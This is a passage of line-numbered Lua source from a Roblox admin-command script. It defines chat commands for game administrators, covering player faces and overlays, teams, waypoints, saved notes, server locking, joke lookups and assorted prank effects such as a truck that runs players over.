  7857. for _,Player in pairs(Players) do
  7858. if Player.Character then
  7859. CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
  7860. end
  7861. end
  7862. end};
  7863.  
  7864. [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7865. local Players = STRING:Scan(Arguments[1], Speaker)
  7866. local ID = nil
  7867. if tonumber(Arguments[2]) ~= nil then
  7868. ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7869. else
  7870. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  7871. for _,Face in pairs(FaceTable) do
  7872. if string.lower(Arguments[2]) == string.lower(Face) then
  7873. ID = FaceID
  7874. break
  7875. end
  7876. end
  7877. end
  7878. end
  7879. if ID then
  7880. for _,Player in pairs(Players) do
  7881. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7882. Player.Character.Head.face.Texture = "rbxassetid://"..ID
  7883. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
  7884. end
  7885. end
  7886. end
  7887. end};
  7888.  
  7889. [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7890. local Players = STRING:Scan(Arguments[1], Speaker)
  7891. local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7892. for _,Player in pairs(Players) do
  7893. if Player.Character and Player.Character:FindFirstChild("Head") then
  7894. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7895. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  7896. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  7897. end
  7898. end
  7899. end};
  7900.  
  7901. [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7902. local Players = STRING:Scan(Arguments[1], Speaker)
  7903. for _,Player in pairs(Players) do
  7904. if Player.Character and Player.Character:FindFirstChild("Head") then
  7905. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7906. end
  7907. end
  7908. end};
  7909.  
  7910. [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7911. REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
  7912. end, Http = true};
  7913.  
  7914. [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7915. GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
  7916. end, Http = true};
  7917.  
  7918. [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7919. local Players = STRING:Scan(Arguments[1], Speaker)
  7920. for _,Player in pairs(Players) do
  7921. local ExistingData = Player:LoadInstance("Data")
  7922. if ExistingData == nil then
  7923. ExistingData = Instance.new("Configuration")
  7924. end
  7925. ExistingData.Name = "Player Data"
  7926. local Key = Instance.new("Configuration", ExistingData)
  7927. Key.Name = Arguments[2]
  7928. Player:SaveInstance("Data", ExistingData)
  7929. end
  7930. end};
  7931.  
  7932. [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7933. local Players = STRING:Scan(Arguments[1], Speaker)
  7934. local Data = Arguments[2]
  7935. for _,Player in pairs(Players) do
  7936. local ExistingData = Player:LoadInstance("Data")
  7937. if ExistingData ~= nil then
  7938. if string.lower(Data) == "all" then
  7939. ExistingData:ClearAllChildren()
  7940. else
  7941. for _,DataObj in pairs(ExistingData:GetChildren()) do
  7942. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  7943. DataObj:Destroy()
  7944. end
  7945. end
  7946. end
  7947. end
  7948. Player:SaveInstance("Data", ExistingData)
  7949. end
  7950. end};
  7951.  
  7952. [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7953. local Players = STRING:Scan(Arguments[1], Speaker)
  7954. local DataSet = {}
  7955. for _,Player in pairs(Players) do
  7956. local ExistingData = Player:LoadInstance("Data")
  7957. if ExistingData ~= nil then
  7958. if #ExistingData:GetChildren() ~= 0 then
  7959. for _,Data in pairs(ExistingData:GetChildren()) do
  7960. table.insert(DataSet, Player.Name..": "..Data.Name)
  7961. end
  7962. else
  7963. table.insert(DataSet, "Data does not exist for "..Player.Name)
  7964. end
  7965. else
  7966. table.insert(DataSet, "Data does not exist for "..Player.Name)
  7967. end
  7968. end
  7969. GUI:ListGui(Speaker, "Notes", DataSet)
  7970. end};
  7971.  
  7972. [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
  7973. local Players = STRING:Scan(Arguments[1], Speaker)
  7974. for _,Player in pairs(Players) do
  7975. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7976. Player.Character.Humanoid.WalkSpeed = 16
  7977. end
  7978. end
  7979. end};
  7980.  
  7981. [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
  7982. local Players = STRING:Scan(Arguments[1], Speaker)
  7983. for _,Player in pairs(Players) do
  7984. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7985. Player.Character.Humanoid.WalkSpeed = -16
  7986. end
  7987. end
  7988. end};
  7989.  
  7990. [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
  7991. local TeamColor = BrickColor.random()
  7992. local TeamName = Arguments[1]
  7993. local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
  7994. if #TeamNameSplit >= 2 then
  7995. local Color = TeamNameSplit[1]
  7996. local NewTeamName = TeamNameSplit[2]
  7997. if Color == "Medium stone grey" then
  7998. TeamColor = BrickColor.new(Color)
  7999. TeamName = NewTeamName
  8000. elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
  8001. TeamColor = BrickColor.new(Color)
  8002. TeamName = NewTeamName
  8003. elseif Colors[string.upper(Color)] then
  8004. TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
  8005. TeamName = NewTeamName
  8006. end
  8007. end
  8008.  
  8009. local NewTeam = Instance.new("Team", Server.Teams)
  8010. NewTeam.TeamColor = TeamColor
  8011. NewTeam.Name = TeamName
  8012. end};
  8013.  
  8014. [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
  8015. local Players = STRING:Scan(Arguments[1], Speaker)
  8016. for _,Player in pairs(Players) do
  8017. Player.Neutral = true
  8018. end
  8019. end};
  8020.  
  8021. [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8022. local Players = STRING:Scan(Arguments[1], Speaker)
  8023. if string.lower(Arguments[2]) == "none" then
  8024. for _,Player in pairs(Players) do
  8025. Player.Neutral = true
  8026. end
  8027. else
  8028. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8029. if Obj:IsA("Team") then
  8030. if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8031. for _,Player in pairs(Players) do
  8032. Player.Neutral = false
  8033. Player.TeamColor = Obj.TeamColor
  8034. end
  8035. end
  8036. end
  8037. end
  8038. end
  8039. end};
  8040.  
  8041. [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
  8042. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8043. if Obj:IsA("Team") then
  8044. if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
  8045. for _,Player in pairs(Server.Players:GetPlayers()) do
  8046. if Player.TeamColor == Obj.TeamColor then
  8047. Player.Neutral = true
  8048. end
  8049. end
  8050. Obj:Destroy()
  8051. end
  8052. end
  8053. end
  8054. end};
  8055.  
  8056. [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
  8057. for _,Player in pairs(Server.Players:GetPlayers()) do
  8058. Player.Neutral = true
  8059. end
  8060. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8061. if Obj:IsA("Team") then
  8062. Obj:Destroy()
  8063. end
  8064. end
  8065. end};
  8066.  
  8067. [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
  8068. for _,Player in pairs(Server.Players:GetPlayers()) do
  8069. GUI:Countdown(Player, Arguments[1])
  8070. end
  8071. end};
  8072.  
  8073. [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8074. local Players = STRING:Scan(Arguments[1], Speaker)
  8075. for _,Player in pairs(Players) do
  8076. if Player:FindFirstChild("Backpack") then
  8077. CORE:ExecuteResource("ShowAd", Player.Backpack)
  8078. end
  8079. end
  8080. end};
  8081.  
  8082. [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8083. local Players = STRING:Scan(Arguments[1], Speaker)
  8084. for _,Player in pairs(Players) do
  8085. if Player.Character then
  8086. for PosName,WP in pairs(Waypoints) do
  8087. if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8088. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  8089. break
  8090. end
  8091. end
  8092. end
  8093. end
  8094. end};
  8095.  
  8096. [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
  8097. CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
  8098. end};
  8099.  
  8100. [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  8101. local Num = 0
  8102. for PosName,WP in pairs(Waypoints) do
  8103. Num = Num + 1
  8104. if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
  8105. Waypoints[PosName] = nil
  8106. end
  8107. end
  8108. end};
  8109.  
  8110. [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
  8111. local WaypointHolder,WaypointRaw = {},{}
  8112. for Name, WP in pairs(Waypoints) do
  8113. local View = Name..": "..tostring(WP)
  8114. table.insert(WaypointHolder, View)
  8115. WaypointRaw[View] = WP
  8116. end
  8117. local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
  8118. Clicked.Event:connect(function(Text)
  8119. local Waypoint = WaypointRaw[Text]
  8120. if Waypoint then
  8121. if Speaker.Character then
  8122. Speaker.Character:MoveTo(Waypoint)
  8123. end
  8124. end
  8125. end)
  8126. end};
  8127.  
  8128. [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
  8129. local Players = STRING:Scan(Arguments[1], Speaker)
  8130. local List = {}
  8131. for _,Player in pairs(Players) do
  8132. table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
  8133. end
  8134. GUI:ListGui(Speaker, "Listed Players", List)
  8135. end};
  8136.  
  8137. [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8138. if tonumber(Arguments[1]) then
  8139. ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
  8140. else
  8141. local Players = STRING:Scan(Arguments[1], Speaker)
  8142. for _,Player in pairs(Players) do
  8143. ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
  8144. end
  8145. end
  8146. end};
  8147.  
  8148. [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
  8149. local Players = STRING:Scan(Arguments[1], Speaker)
  8150. local Friends,OneFriend = {}, false
  8151. for _,Player in pairs(Players) do
  8152. for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
  8153. --[[if Player:IsBestFriendsWith(User.UserId) then
  8154. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  8155. OneFriend = true
  8156. ]]
  8157. if Player:IsFriendsWith(User.UserId) then
  8158. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  8159. OneFriend = true
  8160. end
  8161. if _ == #Server.Players:GetPlayers() and OneFriend == false then
  8162. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  8163. end
  8164. end end
  8165. end
  8166. GUI:ListGui(Speaker, "Friend List", Friends)
  8167. end};
  8168.  
  8169. [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8170. Settings.ServerLocked = true
  8171. GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
  8172. end};
  8173.  
  8174. [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8175. Settings.ServerLocked = false
  8176. GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
  8177. end};
  8178.  
  8179. [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8180. local OldAge = Settings.MinimumAge
  8181. local Age = tostring(Arguments[1])
  8182. if Age then
  8183. Settings.MinimumAge = Age
  8184. GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
  8185. end
  8186. end};
  8187.  
  8188. [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8189. if Settings.VIPAdminID <= 1 then
  8190. MARKET:PromptPurchase(Speaker, VIPAdminID)
  8191. else
  8192. CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
  8193. end
  8194. end};
  8195.  
  8196. [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8197. if Settings.VIPMemberID <= 1 then
  8198. MARKET:PromptPurchase(Speaker, VIPMemberID)
  8199. else
  8200. CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
  8201. end
  8202. end};
  8203.  
  8204. [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
  8205. if tonumber(Arguments[2]) then
  8206. local Players = STRING:Scan(Arguments[1], Speaker)
  8207. local Size = tonumber(Arguments[2])+25
  8208. for _,Player in pairs(Players) do
  8209. if Player.Character then
  8210. if Player.Character:FindFirstChild("Head") then
  8211. if Player.Character.Head:FindFirstChild("Mesh") then
  8212. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  8213. end
  8214. end
  8215. end
  8216. end
  8217. end
  8218. end};
  8219.  
  8220. [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8221. local Players = STRING:Scan(Arguments[1], Speaker)
  8222. for _,Player in pairs(Players) do
  8223. if Player.Character and Player.Character:FindFirstChild("Torso") then
  8224. CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
  8225. Player.Character.Parent = nil
  8226. CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  8227. end
  8228. end
  8229. end};
  8230.  
  8231. [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8232. GUI:SettingsGui(Speaker)
  8233. end};
  8234.  
  8235. [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  8236. if tonumber(Arguments[2]) then
  8237. local Players = STRING:Scan(Arguments[1], Speaker)
  8238. local List = {}
  8239. for _,Player in pairs(Players) do
  8240. if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
  8241. table.insert(List, Player.Name)
  8242. end
  8243. end
  8244. GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
  8245. end
  8246. end};
  8247.  
  8248. [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
  8249. local Players = STRING:Scan(Arguments[1], Speaker)
  8250. for _,Player in pairs(Players) do
  8251. if Player.Character and Player.Character:FindFirstChild("Head") then
  8252. local Char = Player.Character
  8253. Char:BreakJoints()
  8254. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8255. Obj.Anchored = true
  8256. for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
  8257. local Decal = Instance.new("Decal", Obj)
  8258. Decal.Texture = "rbxassetid://178913323"
  8259. Decal.Face = Face
  8260. end
  8261. end)
  8262. local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
  8263. local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
  8264. Sound1:Play() Sound2:Play()
  8265. coroutine.wrap(function()
  8266. coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
  8267. repeat wait()
  8268. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8269. SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
  8270. Obj.Transparency = math.random(0,30)/100
  8271. Obj.Reflectance = math.random(0,50)/100
  8272. Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
  8273. end)
  8274. until Char ~= Player.Character or Char.Parent == nil
  8275. end)()
  8276. end
  8277. end
  8278. end, Hidden = true};
  8279.  
  8280. [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
  8281. GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
  8282. end, Http = true};
  8283.  
  8284. [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
  8285. local Players = STRING:Scan(Arguments[1], Speaker)
  8286. for _,Player in pairs(Players) do
  8287. if Player.Character then
  8288. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8289. Obj.Material = "Neon"
  8290. end)
  8291. end
  8292. end
  8293. end};
  8294.  
  8295. [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8296. local Players = STRING:Scan(Arguments[1], Speaker)
  8297. for _,Player in pairs(Players) do
  8298. if Player.Character then
  8299. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8300. Obj.Material = "Plastic"
  8301. end)
  8302. end
  8303. end
  8304. end};
  8305.  
  8306. [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
  8307. local Players = STRING:Scan(Arguments[1], Speaker)
  8308. for _,Player in pairs(Players) do
  8309. if Player.Character then
  8310. CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
  8311. Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
  8312. end)
  8313. end
  8314. end
  8315. end, Hidden = true};
  8316.  
  8317. [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8318. local Players = STRING:Scan(Arguments[1], Speaker)
  8319. for _,Player in pairs(Players) do
  8320. if Player.Character and Player.Character:FindFirstChild("Torso") then
  8321. local Pos = Player.Character.Torso.Position
  8322. Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
  8323. local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
  8324. if Answer == "Ok" then
  8325. CORE:AddWaypoint(Player.Name, Pos, Speaker)
  8326. end
  8327. end
  8328. end
  8329. end};
  8330.  
  8331. [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
  8332. local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
  8333. local PlayersTo = STRING:Scan(Arguments[2], Speaker)
  8334. if PlayersFrom and PlayersTo then
  8335. for _,PlayerFrom in pairs(PlayersFrom) do
  8336. for _,PlayerTo in pairs(PlayersTo) do
  8337. if PlayerFrom.Character and PlayerTo.Character then
  8338. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  8339. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
  8340. wait(5)
  8341. Laser:Destroy()
  8342. end)() end
  8343. end
  8344. end
  8345. end
  8346. end
  8347. end};
  8348.  
  8349. [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8350. local Players = STRING:Scan(Arguments[1], Speaker)
  8351. for _,Player in pairs(Players) do
  8352. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8353. Player.Character.Humanoid:Destroy()
  8354. end
  8355. end
  8356. end};
  8357.  
  8358. [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8359. if Plugins then
  8360. local List = {}
  8361. for _,Module in pairs(Plugins:GetChildren()) do
  8362. if Module:IsA("ModuleScript") then
  8363. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8364. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8365. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8366. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
  8367. end
  8368. end
  8369. GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
  8370. else
  8371. GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
  8372. end
  8373. end};
  8374.  
  8375. [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8376. local Players = STRING:Scan(Arguments[1], Speaker)
  8377. for _,Player in pairs(Players) do
  8378. GUI:DetachChat(Player)
  8379. end
  8380. end};
  8381.  
  8382. [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
  8383. GUI:DetachChat(Speaker)
  8384. end};
  8385.  
  8386. [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
  8387. local Players = STRING:Scan(Arguments[1], Speaker)
  8388. for _,Player in pairs(Players) do
  8389. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  8390. local Dead = false
  8391.  
  8392. Player.Character.Humanoid.WalkSpeed = 1
  8393. local Torso = Player.Character.Torso
  8394. local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
  8395. Truck:BreakJoints()
  8396. local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
  8397. local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
  8398. local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
  8399. Truck.Touched:connect(function(Part)
  8400. if Dead == false then
  8401. local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
  8402. if TouchPlayer == Player then
  8403. Dead = true
  8404. Player.Character:BreakJoints()
  8405. SOUND:MakeSound(Truck, 264486467):Play() -- splat
  8406. end
  8407. end
  8408. end)
  8409. SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
  8410. Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
  8411. Delay(5, function()
  8412. Truck:Destroy()
  8413. if Player.Character:FindFirstChild("Humanoid") then
  8414. Player.Character.Humanoid.WalkSpeed = 16
  8415. end
  8416. end)
  8417. end
  8418. end
  8419. end};
  8420.  
  8421. [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
  8422. local Joke = REMOTE:DownloadJoke(Speaker)
  8423. local Players = STRING:Scan(Arguments[1], Speaker)
  8424. for _,Player in pairs(Players) do
  8425. GUI:SendMessage(Player, "Joke", Joke, 19629580)
  8426. end
  8427. end, Http = true};
  8428.  
  8429. [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
  8430. local Joke = REMOTE:DownloadJoke(Speaker)
  8431. GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
  8432. end, Http = true};
  8433.  
  8434. [{"blob", "blobby"}] = {"player", "Turns player into blobby (This is modded from doge command.)", 1, "Member", true, function(Speaker, Rank, Arguments)
  8435. local Players = STRING:Scan(Arguments[1], Speaker)
  8436. for _,Player in pairs(Players) do
  8437. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
  8438. CORE:InvisiblePlayer(Player)
  8439. local DogContainer = Instance.new("Model", Player.Character)
  8440. DogContainer.Name = "Blobby"
  8441. local Dog = CORE:Insert(1981293602, DogContainer, true)
  8442. Dog.Head.Transparency = 0.99
  8443. Dog.Name = Player.Name
  8444. Dog:MoveTo(Player.Character.Torso.Position)
  8445. local Weld = Instance.new("Weld", Dog.Torso)
  8446. Weld.Part0 = Player.Character.Torso
  8447. Weld.Part1 = Dog.Torso
  8448. Weld.C0 = CFrame.new(0,-0.4,0)
  8449. for _,Obj in pairs(Dog:GetChildren()) do
  8450. if Obj:IsA("BasePart") then
  8451. Obj.CanCollide = false
  8452. end
  8453. end
  8454.  
  8455. CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
  8456. end
  8457. end
  8458. end};
  8459.  
  8460. [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
  8461. local Key = string.lower(string.sub(Arguments[1],1,1))
  8462. KeyBinds[Speaker.UserId][Key] = Arguments[2]
  8463. GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
  8464. end};
  8465.  
